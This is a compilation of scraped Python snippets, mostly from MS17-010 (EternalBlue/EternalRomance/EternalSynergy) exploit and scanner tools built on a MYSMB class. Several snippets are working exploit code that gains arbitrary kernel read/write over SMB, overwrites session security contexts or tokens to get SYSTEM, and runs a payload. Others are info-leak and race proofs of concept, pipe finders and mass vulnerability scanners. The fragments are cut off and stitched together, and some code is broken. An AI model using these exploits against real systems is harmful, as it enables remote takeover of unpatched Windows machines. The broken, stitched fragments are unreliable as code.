    domain, username, password, remoteName = parse_domain_and_credentials(
        options)

    print('[*] Logging in...')
    connection = MYSMB(options.target_ip, int(options.port))
    connection.login_or_fail(username, password)
    print(delimiter)

    tid = connection.tree_connect_andx('\\\\' + options.target_ip + '\\' +
                                       'IPC$')
    connection.set_default_tid(tid)

    print('[*] Checking for the MS17-010')
    connection.check_ms17_010()
    print(delimiter)

    print('[*] Checking for the accessible pipes')
    connection.find_named_pipe(firstOnly=False)
    print(delimiter)

    print('[*] MS17-010 scan has been finished, disconnecting...')
    connection.disconnect_tree(tid)
    connection.logoff()
    connection.get_socket().close()

    print('[*] Done')
Пример #20
0
def exploit(target, pipe_name):

	conn = MYSMB(target)
	
	# set NODELAY to make exploit much faster
	conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)

	info = {}

	conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
	logger.action('GETTING TARGET OPERATING SYSTEM...')
	server_os = conn.get_server_os()
	logger.alert('TARGET OS: {}'.format(logger.BLUE(server_os)))

	if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"):
		info['os'] = 'WIN7'
		info['method'] = exploit_matched_pairs
	elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 ") or server_os.startswith("Windows 10") or server_os.startswith("Windows RT 9200"):
		info['os'] = 'WIN8'
		info['method'] = exploit_matched_pairs
	elif server_os.startswith("Windows Server (R) 2008") or server_os.startswith('Windows Vista'):
		info['os'] = 'WIN7'
		info['method'] = exploit_fish_barrel
	elif server_os.startswith("Windows Server 2003 "):
		info['os'] = 'WIN2K3'
		info['method'] = exploit_fish_barrel
	elif server_os.startswith("Windows 5.1"):
		info['os'] = 'WINXP'
		info['arch'] = 'x86'
		info['method'] = exploit_fish_barrel
	elif server_os.startswith("Windows XP "):
		info['os'] = 'WINXP'
		info['arch'] = 'x64'
		info['method'] = exploit_fish_barrel
	elif server_os.startswith("Windows 5.0"):
		info['os'] = 'WIN2K'
		info['arch'] = 'x86'
		info['method'] = exploit_fish_barrel
	else:
		logger.error('EXPLOIT DOES NOT SUPPORT THIS TARGET...')
		sys.exit()
	
	if pipe_name is None:
		logger.action('GETTING PIPE...')
		pipe_name = find_named_pipe(conn)
		if pipe_name is None:
			logger.error('COULD NOT FIND NAMED PIPE...')
			return False
		logger.success('USING PIPE: {}'.format(pipe_name))

	if not info['method'](conn, pipe_name, info):
		return False

	# Now, read_data() and write_data() can be used for arbitrary read and write.
	# ================================
	# Modify this SMB session to be SYSTEM
	# ================================	
	fmt = info['PTR_FMT']
	
	logger.action('CREATING SYSTEM SESSION TO SMB...')
	# IsNullSession = 0, IsAdmin = 1
	write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01')

	# read session struct to get SecurityContext address
	sessionData = read_data(conn, info, info['session'], 0x100)
	secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]

	if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
		# Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation
		# Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is
		# much more difficult because data offset in ETHREAD/EPROCESS is different between service pack.
		
		# find the token and modify it
		if 'SECCTX_PCTXTHANDLE_OFFSET' in info:
			pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8)
			pctxtDataAddr = unpack_from('<'+fmt, pctxtDataInfo)[0]
		else:
			pctxtDataAddr = secCtxAddr

		tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8)
		tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0]
		logger.info('CURRENT TOKEN ADDR: 0x{:x}'.format(tokenAddr))
		
		# copy Token data for restoration
		tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])
		
		# parse necessary data out of token
		userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset = get_group_data_from_token(info, tokenData)

		logger.action('OVERWRITING TOKEN UserAndGroups')
		# modify UserAndGroups info
		fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr)
		if fakeUserAndGroupCount != userAndGroupCount:
			write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', fakeUserAndGroupCount))
		write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
	else:
		# the target can use PsImperonateClient for impersonation (Windows 2008 and later)
		# copy SecurityContext for restoration
		secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])

		logger.action('OVERWRITING SESSION SECURITY CONTEXT')
		# see FAKE_SECCTX detail at top of the file
		write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])

	# ================================
	# do whatever we want as SYSTEM over this SMB connection
	# ================================	
	# try:
	smb_pwn(conn, info['arch'])
	# except:
	# 	pass

	# restore SecurityContext/Token
	if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
		userAndGroupsOffset = userAndGroupsAddr - tokenAddr
		write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset+len(fakeUserAndGroups)])
		if fakeUserAndGroupCount != userAndGroupCount:
			write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', userAndGroupCount))
	else:
		write_data(conn, info, secCtxAddr, secCtxData)

	conn.disconnect_tree(conn.get_tid())
	conn.logoff()
	conn.get_socket().close()
	return True
Пример #21
0
NSA eternalsynergy changes information leak method to exploit Windows 8 and Windows 2012.
NSA eternalsynergy also do something to bypass NonpagedPoolNx. I do not check it.
'''

USERNAME = ''
PASSWORD = ''

if len(sys.argv) != 2:
	print("{} <ip>".format(sys.argv[0]))
	sys.exit(1)

target = sys.argv[1]
pipe_name = 'lsarpc'


conn = MYSMB(target)
conn.login(USERNAME, PASSWORD)

smbConn = smbconnection.SMBConnection(target, target, existingConnection=conn, manualNegotiate=True)
dce = transport.SMBTransport(target, filename=pipe_name, smb_connection=smbConn).get_dce_rpc()
dce.connect()

conn.set_default_tid(conn.get_last_tid())
fid = conn.get_last_fid()

dce.bind(lsat.MSRPC_UUID_LSAT)

# send LsarGetUserName without getting result so there are data in named pipe to peek
request = lsat.LsarGetUserName()
request['SystemName'] = "\x00"
request['UserName'] = "******"*263+'\x00'  # this data size determines how many bytes of data we can leak
Пример #22
0
def consume(q):
    while (True):
        target = str(q.get())
        res = ""
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # Check if 445 is open
        if sock.connect_ex((target, 445)) == 0:

            # Try to create a SMB connection
            try:
                conn = MYSMB(target)
            except:
                res += "{:<15}".format(target) + "\n"
                print res,
                q.task_done()
                continue

            # Try to authenticate
            try:
                conn.login(USERNAME, PASSWORD)
            except smb.SessionError as e:
                res += "{:<15}".format(target) + "  " + "Unauthorized" + "\n"
                print res,
                q.task_done()
                continue
            finally:
                s = conn.get_server_os()
                res += '{:<50}  '.format(s[:50])

            try:
                tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')
                conn.set_default_tid(tid)

                # test if target is vulnerable
                TRANS_PEEK_NMPIPE = 0x23
                recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE),
                                          maxParameterCount=0xffff,
                                          maxDataCount=0x800)
                status = recvPkt.getNTStatus()
                if status == 0xC0000205:  # STATUS_INSUFF_SERVER_RESOURCES
                    res += "NOT patched  "

                else:
                    res += "patched"
                    res = Style.BRIGHT + Fore.BLUE + "{:<15}".format(
                        target) + "  " + res + Style.RESET_ALL + "\n"
                    print res,
                    q.task_done()
                    continue

            except:
                res += "{:<15}".format(target) + "\n"
                print res,
                q.task_done()
                continue
            found = False
            for pipe_name, pipe_uuid in pipes.items():
                try:
                    dce = conn.get_dce_rpc(pipe_name)
                    dce.connect()
                    try:
                        dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax)
                        res += Fore.GREEN + '{:<8} (64)  '.format(
                            pipe_name[:8]) + Style.RESET_ALL
                        found = True
                    except DCERPCException as e:
                        if 'transfer_syntaxes_not_supported' in str(e):
                            res += Fore.GREEN + '{:<8} (32)  '.format(
                                pipe_name[:8]) + Style.RESET_ALL
                            found = True
                        else:
                            res += Fore.GREEN + '{:<8} (??)  '.format(
                                pipe_name[:8]) + Style.RESET_ALL
                            found = True
                    dce.disconnect()
                except smb.SessionError as e:
                    res += Fore.RED + '{:<8} DENY  '.format(
                        pipe_name[:8]) + Style.RESET_ALL
                except smbconnection.SessionError as e:
                    res += Fore.RED + '{:<8} DENY  '.format(
                        pipe_name[:8]) + Style.RESET_ALL

            conn.disconnect_tree(tid)
            conn.logoff()
            conn.get_socket().close()
            if not found:
                res = Fore.RED + "{:<15}".format(
                    target) + "  " + res + Style.RESET_ALL + "\n"
                print res,
                q.task_done()
                continue

            res = Fore.GREEN + "{:<15}".format(
                target) + "  " + res + Style.RESET_ALL + "\n"
            print res,
            q.task_done()
            continue

        res += "{:<15}".format(target) + "\n"
        print res,
        q.task_done()
Пример #23
0
def ms17_010(target):
	try:
		logger.info('Attempting to connect to: {}'.format(logger.BLUE(target)))
		conn = MYSMB(target, timeout=5)
		try:
			conn.login(USERNAME, PASSWORD)
		except smb.SessionError as e:
			logger.error('Login failed, got error: ' + logger.RED(nt_errors.ERROR_MESSAGES[e.error_code][0]))
			sys.exit()
		finally:
			logger.info('Found target OS: ' + logger.BLUE(conn.get_server_os()))

		tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')
		conn.set_default_tid(tid)

		# test if target is vulnerable
		TRANS_PEEK_NMPIPE = 0x23
		recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE), maxParameterCount=0xffff, maxDataCount=0x800)
		status = recvPkt.getNTStatus()
		if status == 0xC0000205:  # STATUS_INSUFF_SERVER_RESOURCES
			logger.success('{} IS NOT PATCHED!'.format(logger.GREEN(target)))
		else:
			logger.error('{} IS PATCHED!'.format(logger.RED(target)))
			sys.exit()

		logger.action('Looking for the named pipes...')
		for pipe_name, pipe_uuid in pipes.items():
			try:
				dce = conn.get_dce_rpc(pipe_name)
				dce.connect()
				try:
					dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax)
					logger.success('{}: OK (64 bit)'.format(logger.GREEN(pipe_name)))
				except DCERPCException as e:
					if 'transfer_syntaxes_not_supported' in str(e):
						logger.success('{}: OK (32 bit)'.format(logger.GREEN(pipe_name)))
					else:
						logger.success('{}: OK ({})'.format(logger.GREEN(pipe_name), str(e)))
				dce.disconnect()
			except smb.SessionError as e:
				logger.error('{}: {}'.format(logger.RED(pipe_name), logger.RED(nt_errors.ERROR_MESSAGES[e.error_code][0])))
			except smbconnection.SessionError as e:
				logger.error('{}: {}'.format(logger.RED(pipe_name), logger.RED(nt_errors.ERROR_MESSAGES[e.error][0])))

		conn.disconnect_tree(tid)
		conn.logoff()
		conn.get_socket().close()
	except (KeyboardInterrupt, SystemExit):
		logger.error('Keyboard interrupt received..')
		sys.exit(-1)
	except:
		logger.error('Connection failed to: {}'.format(logger.RED(str(target))))
Пример #24
0
Note:
- this PoC only support lsaprc named pipe
- this method works against only Windows<8
'''

USERNAME = ''
PASSWORD = ''

if len(sys.argv) != 2:
    print("{} <ip>".format(sys.argv[0]))
    sys.exit(1)

target = sys.argv[1]
pipe_name = 'lsarpc'

conn = MYSMB(target)
conn.login(USERNAME, PASSWORD)

smbConn = smbconnection.SMBConnection(target,
                                      target,
                                      existingConnection=conn,
                                      manualNegotiate=True)
dce = transport.SMBTransport(target,
                             filename=pipe_name,
                             smb_connection=smbConn).get_dce_rpc()
dce.connect()

conn.set_default_tid(conn.get_last_tid())
fid = conn.get_last_fid()

dce.bind(lsat.MSRPC_UUID_LSAT)
Пример #25
0
Note:
- this PoC is tested against only Windows 7 x64 with 2 and 4 logical processors
'''

USERNAME = ''
PASSWORD = ''

if len(sys.argv) != 2:
	print("{} <ip>".format(sys.argv[0]))
	sys.exit(1)

target = sys.argv[1]


conn = MYSMB(target)
conn.login(USERNAME, PASSWORD)

# if share name is disk, the race is easier to win because there are more operation to do after InData is modified
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
conn.set_default_tid(tid)


def nsa_race(conn, jmp_addr):
	setup = pack('<H', 5)  # QUERY_PATH_INFO
	
	# set info level to SMB_INFO_QUERY_EA_SIZE at request to force SrvSmbQueryPathInformation restart in another thread
	param = pack('<HI', 2, 0) + '\x00'*4  # infoLevel, reserved, filename
	mid = conn.next_mid()
	# we will overwrite 8 bytes at displacement 312, so data must be at least 320 bytes
	req1 = conn.create_trans2_packet(setup, param=param, data='A'*324, mid=mid)
Пример #26
0
def main(args):
    pipes = DEFAULT_PIPES
    username = ""
    password = ""

    if args.username:
        username = args.username

    if args.password:
        password = args.password

    if args.wordlist:
        pipes = []
        with open(args.wordlist, "r") as f:
            for name in f:
                pipes.append(name.rstrip())

    print("[*] finding named pipes for: {}".format(args.target))

    conn = MYSMB(args.target)
    conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
    conn.login(username, password, maxBufferSize=4356)

    tid = conn.tree_connect_andx("\\\\" + conn.get_remote_host() + "\\" +
                                 "IPC$")
    for pipe in pipes:
        try:
            fid = conn.nt_create_andx(tid, pipe)
            conn.close(tid, fid)
            print("\x1b[0;32;40m[+] {}\x1b[0m".format(pipe))
        except smb.SessionError as e:
            print("\x1b[0;31;40m[-] {}\x1b[0m".format(pipe))
            continue

    conn.disconnect_tree(tid)
Пример #27
0
- this PoC only support lsaprc named pipe
- this method works against only Windows<8
'''

USERNAME = ''
PASSWORD = ''

if len(sys.argv) != 2:
	print("{} <ip>".format(sys.argv[0]))
	sys.exit(1)

target = sys.argv[1]
pipe_name = 'lsarpc'


conn = MYSMB(target)
conn.login(USERNAME, PASSWORD)

smbConn = smbconnection.SMBConnection(target, target, existingConnection=conn, manualNegotiate=True)
dce = transport.SMBTransport(target, filename=pipe_name, smb_connection=smbConn).get_dce_rpc()
dce.connect()

conn.set_default_tid(conn.get_last_tid())
fid = conn.get_last_fid()

dce.bind(lsat.MSRPC_UUID_LSAT)

# send LsarGetUserName without getting result so there are data in named pipe to peek
request = lsat.LsarGetUserName()
request['SystemName'] = "\x00"
request['UserName'] = "******"*263+'\x00'  # this data size determines how many bytes of data we can leak
Пример #28
0
def worawit(target):
    try:
        try:
            conn = MYSMB(target, timeout=5)
        except:
            logger.red('Unable to connect to [{}]'.format(logger.RED(target)))
            return False
        try:
            conn.login(USERNAME, PASSWORD)
        except:
            logger.red('Failed to authenticate to [{}]'.format(
                logger.RED(target)))
            return False
        finally:
            try:
                OS = conn.get_server_os()
            except Exception as e:
                logger.red(str(e))
                return False

        tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')
        conn.set_default_tid(tid)

        # test if target is vulnerable
        TRANS_PEEK_NMPIPE = 0x23
        recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE),
                                  maxParameterCount=0xffff,
                                  maxDataCount=0x800)
        status = recvPkt.getNTStatus()
        if status == 0xC0000205:  # STATUS_INSUFF_SERVER_RESOURCES
            logger.green('[%s] VULNERABLE' % logger.GREEN(target))
            vulnerable[target] = []
        else:
            logger.red('[%s] PATCHED' % logger.RED(target))

        pipes_found = []

        for pipe_name, pipe_uuid in pipes.items():
            try:
                dce = conn.get_dce_rpc(pipe_name)
                dce.connect()
                try:
                    dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax)
                    try:
                        pipes_found.append(pipe_name)
                    except:
                        pass
                except DCERPCException as e:
                    if 'transfer_syntaxes_not_supported' in str(e):
                        try:
                            pipes_found.append(pipe_name)
                        except:
                            pass
                    else:
                        try:
                            pipes_found.append(pipe_name)
                        except:
                            pass
                dce.disconnect()
                vulnerable[target] = pipes_found
            except smb.SessionError as e:
                continue
            except smbconnection.SessionError as e:
                continue

        conn.disconnect_tree(tid)
        conn.logoff()
        conn.get_socket().close()
    except KeyboardInterrupt:
        logger.red('Keyboard interrupt received..')
        quit()
Пример #29
0
def exploit(target, pipe_name):
    conn = MYSMB(target)

    # set NODELAY to make exploit much faster
    conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)

    info = {}

    conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
    server_os = conn.get_server_os()
    print('Target OS: ' + server_os)
    if server_os.startswith("Windows 7 ") or server_os.startswith(
            "Windows Server 2008 R2"):
        info.update(WIN7_INFO)
    elif server_os.startswith("Windows 8") or server_os.startswith(
            "Windows Server 2012 ") or server_os.startswith(
                "Windows Server 2016 "):
        info.update(WIN8_INFO)
    else:
        print('This exploit does not support this target')
    sys.exit()

    # ================================
    # try align pagedpool and leak info until satisfy
    # ================================
    leakInfo = None
    # max attempt: 10
    for i in range(10):
        tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')
        conn.set_default_tid(tid)
        # fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
        fid = conn.nt_create_andx(tid, pipe_name)
    if 'FRAG_POOL_SIZE' not in info:
        leak_frag_size(conn, tid, fid, info)
        reset_extra_mid(conn)
        leakInfo = align_transaction_and_leak(conn, tid, fid, info)
    if leakInfo is not None:
        #break
        print('leak failed... try again')
        conn.close(tid, fid)
        conn.disconnect_tree(tid)
    if leakInfo is None:
        return False

    info['fid'] = fid
    info.update(leakInfo)

    # ================================
    # shift trans1.Indata ptr with SmbWriteAndX
    # ================================
    shift_indata_byte = 0x200
    conn.do_write_andx_raw_pipe(fid, 'A' * shift_indata_byte)

    # Note: Even the distance between bride transaction is exactly what we want, the groom transaction might be in a wrong place.
    # So the below operation is still dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
    # maxParameterCount (0x1000), trans name (4), param (4)
    indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info[
        'SRV_BUFHDR_SIZE'] + 0x1000 + shift_indata_byte
    indata_next_trans_displacement = info['trans2_addr'] - indata_value
    conn.send_nt_trans_secondary(
        mid=fid,
        data='\x00',
        dataDisplacement=indata_next_trans_displacement +
        info['TRANS_MID_OFFSET'])
    wait_for_request_processed(conn)

    # if the overwritten is correct, a modified transaction mid should be special_mid now.
    # a new transaction with special_mid should be error.
    recvPkt = conn.send_nt_trans(5,
                                 mid=special_mid,
                                 param=pack('<HH', fid, 0),
                                 data='')
    if recvPkt.getNTStatus() != 0x10002:  # invalid SMB
        print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
        print('!!! Write to wrong place !!!')
        print('the target might be crashed')
        sys.exit()

    print('success controlling groom transaction')

    # NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly
    # but this method make the transation never get freed
    # I will avoid memory leak

    # ================================
    # modify trans1 struct to be used for arbitrary read/write
    # ================================
    print('modify trans1 struct for arbitrary read/write')
    fmt = info['PTR_FMT']
    # modify trans_special.InData to &trans1
    conn.send_nt_trans_secondary(
        mid=fid,
        data=pack('<' + fmt, info['trans1_addr']),
        dataDisplacement=indata_next_trans_displacement +
        info['TRANS_INDATA_OFFSET'])
    wait_for_request_processed(conn)

    # modify
    # - trans1.InParameter to &trans1. so we can modify trans1 struct with itself
    # - trans1.InData to &trans2. so we can modify trans2 easily
    conn.send_nt_trans_secondary(mid=info['special_mid'],
                                 data=pack('<' + fmt * 3, info['trans1_addr'],
                                           info['trans1_addr'] + 0x200,
                                           info['trans2_addr']),
                                 dataDisplacement=info['TRANS_INPARAM_OFFSET'])
    wait_for_request_processed(conn)

    # modify trans2.mid
    info['trans2_mid'] = conn.next_mid()
    conn.send_nt_trans_secondary(mid=info['trans1_mid'],
                                 data=pack('<H', info['trans2_mid']),
                                 dataDisplacement=info['TRANS_MID_OFFSET'])

    # Now, read_data() and write_data() can be used for arbitrary read and write.
    # ================================
    # Modify this SMB session to be SYSTEM
    # ================================
    # Note: Windows XP stores only PCtxtHandle and uses ImpersonateSecurityContext() for impersonation, so this
    # method does not work on Windows XP. But with arbitrary read/write, code execution is not difficult.

    print('make this SMB session to be SYSTEM')
    # IsNullSession = 0, IsAdmin = 1
    write_data(conn, info, info['session'] + info['SESSION_ISNULL_OFFSET'],
               '\x00\x01')

    # read session struct to get SecurityContext address
    sessionData = read_data(conn, info, info['session'], 0x100)
    secCtxAddr = unpack_from('<' + fmt, sessionData,
                             info['SESSION_SECCTX_OFFSET'])[0]

    # copy SecurityContext for restoration
    secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])

    print('overwriting session security context')
    # see FAKE_SECCTX detail at top of the file
    write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])

    # ================================
    # do whatever we want as SYSTEM over this SMB connection
    # ================================
    try:
        smb_pwn(conn)
    except:
        pass

    # restore SecurityContext. If the exploit does not use null session, PCtxtHandle will be leaked.
    write_data(conn, info, secCtxAddr, secCtxData)

    conn.disconnect_tree(tid)
    conn.logoff()
    conn.get_socket().close()
    return True
Пример #30
0
    def __is_vulnerable(self, target):
        s = socket(AF_INET, SOCK_STREAM)
        s.settimeout(3)
        result = s.connect_ex((target, 445))
        is_succ = False
        os = ''

        if (result == 0):
            conn = MYSMB(target)
            try:
                conn.login(USERNAME, PASSWORD)
            except smb.SessionError as e:
                Logger.warn('Login failed: ' + nt_errors.ERROR_MESSAGES[e.error_code][0])
            finally:
                Logger.info('Target OS: ' + conn.get_server_os())

            tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')
            conn.set_default_tid(tid)

            # test if target is vulnerable
            TRANS_PEEK_NMPIPE = 0x23
            recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE), maxParameterCount=0xffff, maxDataCount=0x800)
            status = recvPkt.getNTStatus()
            if status == 0xC0000205:  # STATUS_INSUFF_SERVER_RESOURCES
                Logger.info('The target is not patched')
                for pipe_name, pipe_uuid in pipes.items():
                    try:
                        dce = conn.get_dce_rpc(pipe_name)
                        dce.connect()
                        try:
                            dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax)
                            Logger.info('{}: Ok (64 bit)'.format(pipe_name))
                            is_succ = True
                        except DCERPCException as e:
                            if 'transfer_syntaxes_not_supported' in str(e):
                                Logger.info('{}: Ok (32 bit)'.format(pipe_name))
                                is_succ = True
                            else:
                                Logger.info('{}: Ok ({})'.format(pipe_name, str(e)))
                                is_succ = True
                        dce.disconnect()
                    except smb.SessionError as e:
                        Logger.warn('{}: {}'.format(pipe_name, nt_errors.ERROR_MESSAGES[e.error_code][0]))
                    except smbconnection.SessionError as e:
                        Logger.warn('{}: {}'.format(pipe_name, nt_errors.ERROR_MESSAGES[e.error][0]))

            os = conn.get_server_os()
            conn.disconnect_tree(tid)
            conn.logoff()
            conn.get_socket().close()
        s.close()
        return {'os': os, 'result': is_succ}
Пример #31
0
Note:
- this PoC only test against Windows 7 x64
- all SMB request parameter is copied from capture network traffic
'''

USERNAME = ''
PASSWORD = ''

if len(sys.argv) != 3:
	print("{} <ip> <pipe_name>".format(sys.argv[0]))
	sys.exit(1)

target = sys.argv[1]
pipe_name = sys.argv[2]

conn = MYSMB(target)

# our buffer size is 4356 bytes
# transaction with large reply will be splitted to multiple response
conn.login(USERNAME, PASSWORD, maxBufferSize=4356)

tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
conn.set_default_tid(tid)
fid = conn.nt_create_andx(tid, pipe_name)  # any valid share name should be OK

# normally, small transaction is allocated from lookaside which force all buffer size to 0x5000
# the only method to get small buffer size is sending SMB_COM_TRANSACTION command with empty setup
for i in range(10):
	conn.send_trans('', totalDataCount=0xdb0, maxSetupCount=0, maxParameterCount=0, maxDataCount=0)

mid_ntrename = conn.next_mid()
Пример #32
0
def exploit(target, pipe_name):
	conn = MYSMB(target)
Пример #33
0
def exploit(target, pipe_name):
    conn = MYSMB(target)

    # set NODELAY to make exploit much faster
    conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)

    info = {}

    conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
    server_os = conn.get_server_os()
    print('Target OS: ' + server_os)
    if server_os.startswith("Windows 7 ") or server_os.startswith(
            "Windows Server 2008 R2"):
        info['os'] = 'WIN7'
        info['method'] = exploit_matched_pairs
    elif server_os.startswith("Windows 8") or server_os.startswith(
            "Windows Server 2012 ") or server_os.startswith(
                "Windows Server 2016 ") or server_os.startswith("Windows 10"):
        info['os'] = 'WIN8'
        info['method'] = exploit_matched_pairs
    elif server_os.startswith("Windows Server (R) 2008"
                              ) or server_os.startswith('Windows Vista'):
        info['os'] = 'WIN7'
        info['method'] = exploit_fish_barrel
    elif server_os.startswith("Windows Server 2003 "):
        info['os'] = 'WIN2K3'
        info['method'] = exploit_fish_barrel
    elif server_os.startswith("Windows 5.1"):
        info['os'] = 'WINXP'
        info['arch'] = 'x86'
        info['method'] = exploit_fish_barrel
    elif server_os.startswith("Windows XP "):
        info['os'] = 'WINXP'
        info['arch'] = 'x64'
        info['method'] = exploit_fish_barrel
    elif server_os.startswith("Windows 5.0"):
        info['os'] = 'WIN2K'
        info['arch'] = 'x86'
        info['method'] = exploit_fish_barrel
    else:
        print('This exploit does not support this target')
        sys.exit()

    if pipe_name is None:
        pipe_name = find_named_pipe(conn)
        if pipe_name is None:
            print('Not found accessible named pipe')
            return False
        print('Using named pipe: ' + pipe_name)

    if not info['method'](conn, pipe_name, info):
        return False

    # Now, read_data() and write_data() can be used for arbitrary read and write.
    # ================================
    # Modify this SMB session to be SYSTEM
    # ================================
    fmt = info['PTR_FMT']

    print('make this SMB session to be SYSTEM')
    # IsNullSession = 0, IsAdmin = 1
    write_data(conn, info, info['session'] + info['SESSION_ISNULL_OFFSET'],
               '\x00\x01')

    # read session struct to get SecurityContext address
    sessionData = read_data(conn, info, info['session'], 0x100)
    secCtxAddr = unpack_from('<' + fmt, sessionData,
                             info['SESSION_SECCTX_OFFSET'])[0]

    if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
        # Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation
        # Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is
        # much more difficult because data offset in ETHREAD/EPROCESS is different between service pack.

        # find the token and modify it
        if 'SECCTX_PCTXTHANDLE_OFFSET' in info:
            pctxtDataInfo = read_data(
                conn, info, secCtxAddr + info['SECCTX_PCTXTHANDLE_OFFSET'], 8)
            pctxtDataAddr = unpack_from('<' + fmt, pctxtDataInfo)[0]
        else:
            pctxtDataAddr = secCtxAddr

        tokenAddrInfo = read_data(
            conn, info, pctxtDataAddr + info['PCTXTHANDLE_TOKEN_OFFSET'], 8)
        tokenAddr = unpack_from('<' + fmt, tokenAddrInfo)[0]
        print('current TOKEN addr: 0x{:x}'.format(tokenAddr))

        # copy Token data for restoration
        tokenData = read_data(conn, info, tokenAddr, 0x40 * info['PTR_SIZE'])

        userAndGroupCount = unpack_from('<I', tokenData,
                                        info['TOKEN_USER_GROUP_CNT_OFFSET'])[0]
        userAndGroupsAddr = unpack_from(
            '<' + fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET'])[0]
        print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount))
        print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr))

        print('overwriting token UserAndGroups')
        # modify UserAndGroups info
        fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(
            conn, info, userAndGroupCount, userAndGroupsAddr)
        if fakeUserAndGroupCount != userAndGroupCount:
            write_data(conn, info,
                       tokenAddr + info['TOKEN_USER_GROUP_CNT_OFFSET'],
                       pack('<I', fakeUserAndGroupCount))
        write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
    else:
        # the target can use PsImperonateClient for impersonation (Windows 2008 and later)
        # copy SecurityContext for restoration
        secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])

        print('overwriting session security context')
        # see FAKE_SECCTX detail at top of the file
        write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])

    # ================================
    # do whatever we want as SYSTEM over this SMB connection
    # ================================
    try:
        smb_pwn(conn, info['arch'])
    except:
        pass

    # restore SecurityContext/Token
    if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
        userAndGroupsOffset = userAndGroupsAddr - tokenAddr
        write_data(
            conn, info, userAndGroupsAddr,
            tokenData[userAndGroupsOffset:userAndGroupsOffset +
                      len(fakeUserAndGroups)])
        if fakeUserAndGroupCount != userAndGroupCount:
            write_data(conn, info,
                       tokenAddr + info['TOKEN_USER_GROUP_CNT_OFFSET'],
                       pack('<I', userAndGroupCount))
    else:
        write_data(conn, info, secCtxAddr, secCtxData)

    conn.disconnect_tree(conn.get_tid())
    conn.logoff()
    conn.get_socket().close()
    return True
Пример #34
0
import sys
'''
PoC: demonstates leaking information from uninitialize buffer
'''

USERNAME = ''
PASSWORD = ''

if len(sys.argv) != 3:
    print("{} <ip> <pipe_name>".format(sys.argv[0]))
    sys.exit(1)

target = sys.argv[1]
pipe_name = sys.argv[2]

conn = MYSMB(target)

conn.login(USERNAME, PASSWORD)

tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')
conn.set_default_tid(tid)
fid = conn.nt_create_andx(tid, pipe_name)  # any valid share name should be OK

# create NT_TRANS_RENAME (5) request
mid = conn.next_mid()
conn.send_nt_trans(5,
                   mid=mid,
                   param=pack('<HH', fid, 0),
                   data='A' * 0x1000,
                   totalDataCount=0x8000)
Пример #35
0
pipes = {
    'browser': MSRPC_UUID_BROWSER,
